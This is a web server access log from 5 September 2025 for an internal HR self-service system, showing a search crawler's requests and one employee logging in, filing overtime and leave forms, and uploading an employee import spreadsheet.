100.64.0.1 - - [05/Sep/2025:15:16:52 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:15:16:55 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-84.so HTTP/1.1" 200 20576
100.64.0.1 - - [05/Sep/2025:15:16:55 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-84.so HTTP/1.1" 200 20576 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/css/default.css?m=20130917 HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/css/blueprint/screen.css HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.66 - - [05/Sep/2025:15:20:16 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/js/flash_detect_min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.12.66 - - [05/Sep/2025:15:20:17 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.12.66 - - [05/Sep/2025:15:20:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:20 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.12.66 - - [05/Sep/2025:15:20:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:15:20:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.66 - - [05/Sep/2025:15:20:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890
192.168.12.66 - - [05/Sep/2025:15:20:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9890 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:29 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:20:29 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:29 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:20:29 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:21:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:15 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [05/Sep/2025:15:21:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [05/Sep/2025:15:21:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.12.66 - - [05/Sep/2025:15:21:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.12.66 - - [05/Sep/2025:15:21:18 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 102917 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 102917
192.168.12.66 - - [05/Sep/2025:15:21:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.12.66 - - [05/Sep/2025:15:21:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:36 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [05/Sep/2025:15:21:45 +0800] "GET /eHR/js/date.js HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:21:45 +0800] "GET /eHR/js/date.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:45 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.12.66 - - [05/Sep/2025:15:21:45 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:45 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.12.66 - - [05/Sep/2025:15:21:45 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [05/Sep/2025:15:21:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:45 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 304 -
192.168.12.66 - - [05/Sep/2025:15:21:45 +0800] "GET /eHR/js/jquery.maskedinput.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:55 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:55 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368
192.168.12.66 - - [05/Sep/2025:15:21:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:21:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.66 - - [05/Sep/2025:15:22:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07762908812548086 HTTP/1.1" 200 16008 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:22:13 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07762908812548086 HTTP/1.1" 200 16008
192.168.12.66 - - [05/Sep/2025:15:22:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07762908812548086 HTTP/1.1" 200 17327 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07762908812548086" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:22:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.07762908812548086 HTTP/1.1" 200 17327
192.168.12.66 - - [05/Sep/2025:15:23:18 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5208697579415758 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:23:18 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5208697579415758 HTTP/1.1" 200 5264
192.168.12.66 - - [05/Sep/2025:15:23:23 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5208697579415758 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5208697579415758" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:23:23 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5208697579415758 HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:15:23:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4338
192.168.12.66 - - [05/Sep/2025:15:23:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4338 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5208697579415758" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:23:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4088
192.168.12.66 - - [05/Sep/2025:15:23:27 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4088 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:23:28 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.12.66 - - [05/Sep/2025:15:23:28 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:23:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45226
192.168.12.66 - - [05/Sep/2025:15:23:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45226 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:15:23:42 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
